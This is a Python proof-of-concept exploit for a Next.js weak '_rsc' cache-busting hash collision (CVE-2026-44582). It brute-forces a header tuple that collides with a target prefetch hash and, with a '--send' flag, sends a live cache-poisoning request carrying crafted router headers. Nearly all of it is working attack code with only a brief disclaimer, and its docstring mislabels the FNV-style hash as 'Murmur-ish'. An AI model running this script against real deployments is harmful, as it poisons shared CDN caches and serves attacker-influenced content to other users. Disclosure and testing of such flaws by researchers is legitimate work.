Next.js RSC Cache-Busting Weak Hash Collision (CVE-2026-44582)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171

#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
CVE-2026-44582 / GHSA-vfv6-92ff-j949 -- Weak _rsc cache-busting hash collision.

This demonstrates that the *legacy* 32-bit hash used pre-16.2.5 collides in
seconds. We re-implement the legacy mix in pure Python and run a birthday-style
search until we find a (state-tree, next-url) tuple that hashes to the same
value as a target high-value tuple.

Usage:
    python3 exploit.py [http://target/url]
    python3 exploit.py http://target/url --send  (only with --send actually sends)

The --send flag will:
    1. Find a colliding tuple,
    2. Send a request to the target with that tuple,
    3. Fetch the URL again with a clean cache key and verify cached payload
       is the attacker-controlled one (requires a vulnerable CDN configuration).
"""
import sys
import time
import secrets
import urllib.parse
import urllib.request


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


# ---- Legacy 32-bit hash (pre-patch) -----------------------------------------
def legacy_hash(prefetch: str, segment_prefetch: str,
                state_tree: str, next_url: str) -> str:
    """Faithful port of computeLegacyCacheBustingSearchParam (32-bit Murmur-ish)."""
    s = f"{prefetch}|{segment_prefetch}|{state_tree}|{next_url}"
    h = 0x811c9dc5
    for ch in s:
        h ^= ord(ch)
        h = (h * 0x01000193) & 0xFFFFFFFF
    # base-36 like the JS .toString(36)
    return _to_base36(h)


def _to_base36(n: int) -> str:
    if n == 0:
        return "0"
    digits = "0123456789abcdefghijklmnopqrstuvwxyz"
    out = []
    while n:
        n, r = divmod(n, 36)
        out.append(digits[r])
    return "".join(reversed(out))


# ---- Birthday search --------------------------------------------------------
def find_collision(target: str, max_attempts: int = 5_000_000):
    """Find any tuple that hashes to `target`.

    Strategy: keep prefetch='1' and segment_prefetch='/_tree' fixed (matches the
    common prefetch case), randomise (state_tree, next_url) until we hit it.
    """
    fixed_pf = "1"
    fixed_sp = "/_tree"
    start = time.perf_counter()
    attempts = 0
    while attempts < max_attempts:
        # Random small JSON-ish state tree & next-url
        n = secrets.randbits(48)
        state_tree = f'%5B%22%22%2C%7B%22a%22%3A%22{n:x}%22%7D%5D'
        next_url = f'/p{n & 0xFFFF:04x}'
        h = legacy_hash(fixed_pf, fixed_sp, state_tree, next_url)
        attempts += 1
        if h == target:
            elapsed = time.perf_counter() - start
            return {
                "prefetch": fixed_pf,
                "segment_prefetch": fixed_sp,
                "state_tree": state_tree,
                "next_url": next_url,
                "hash": h,
                "attempts": attempts,
                "elapsed_s": elapsed,
            }
        if attempts % 100_000 == 0:
            elapsed = time.perf_counter() - start
            print(f"    ... {attempts:>9,} attempts ({attempts/elapsed:,.0f}/s)")
    return None


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  CVE-2026-44582 -- _rsc weak hash collision" + C.X)
    print(C.CY + C.B + "  Patched in 16.2.5 (commit 688ed31e21)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def main(argv):
    banner()
    target_url = argv[1] if len(argv) > 1 else "http://127.0.0.1:3000/dashboard"
    do_send = "--send" in argv

    # Choose a high-value target tuple (a normal prefetch of /dashboard)
    target_tuple = {
        "prefetch": "1",
        "segment_prefetch": "/_tree",
        "state_tree": '%5B%22%22%2C%7B%22a%22%3A%22victim%22%7D%5D',
        "next_url": "/dashboard",
    }
    target_hash = legacy_hash(**target_tuple)
    print(f"{C.B}[*] Target tuple:{C.X}")
    for k, v in target_tuple.items():
        print(f"      {k:>17} = {v!r}")
    print(f"{C.B}[*] Target legacy hash:{C.X} {target_hash}")
    print()

    print(C.B + "[*] Searching for a colliding tuple..." + C.X)
    res = find_collision(target_hash, max_attempts=5_000_000)
    if not res:
        print(C.R + "[-] no collision in 5M attempts (demonstration not confirmed in this run)." + C.X)
        return 1

    print(C.G + C.B + f"[+] COLLISION FOUND in {res['attempts']:,} attempts ({res['elapsed_s']:.2f}s)." + C.X)
    print(f"{C.B}    next-router-prefetch :{C.X} {res['prefetch']}")
    print(f"{C.B}    next-router-segment-prefetch:{C.X} {res['segment_prefetch']}")
    print(f"{C.B}    next-router-state-tree:{C.X} {res['state_tree']}")
    print(f"{C.B}    next-url             :{C.X} {res['next_url']}")
    print(f"{C.B}    legacy hash          :{C.X} {res['hash']} (matches target)")
    print()

    # Demonstrate that the colliding tuple really hashes the same:
    again = legacy_hash(res['prefetch'], res['segment_prefetch'],
                        res['state_tree'], res['next_url'])
    assert again == target_hash, "internal error"

    # Optionally send a real cache-poisoning request
    if do_send:
        print(C.Y + "[*] sending poisoning request..." + C.X)
        url = f"{target_url}?_rsc={target_hash}"
        # URL-decode the headers we want to send
        st_dec = urllib.parse.unquote(res['state_tree'])
        req = urllib.request.Request(url, headers={
            "RSC": "1",
            "Next-Router-Prefetch": res["prefetch"],
            "Next-Router-Segment-Prefetch": res["segment_prefetch"],
            "Next-Router-State-Tree": st_dec,
            "Next-Url": res["next_url"],
        })
        try:
            with urllib.request.urlopen(req, timeout=10) as r:
                body = r.read(2048)
                print(f"    response code = {r.status}, len(body)={len(body)}")
                print(f"    Cache-Control = {r.headers.get('Cache-Control')}")
                print(f"    Age           = {r.headers.get('Age')}")
        except Exception as e:
            print(C.R + f"    request failed: {e}" + C.X)

    print()
    print(C.G + "[i] Implication:" + C.X)
    print("    A CDN keying its cache entry on URL+query (including _rsc=)")
    print("    will store this attacker-influenced RSC payload under the same")
    print("    cache slot as the victim's prefetch, poisoning subsequent reads.")
    print()
    return 0


if __name__ == "__main__":
    sys.exit(main(sys.argv))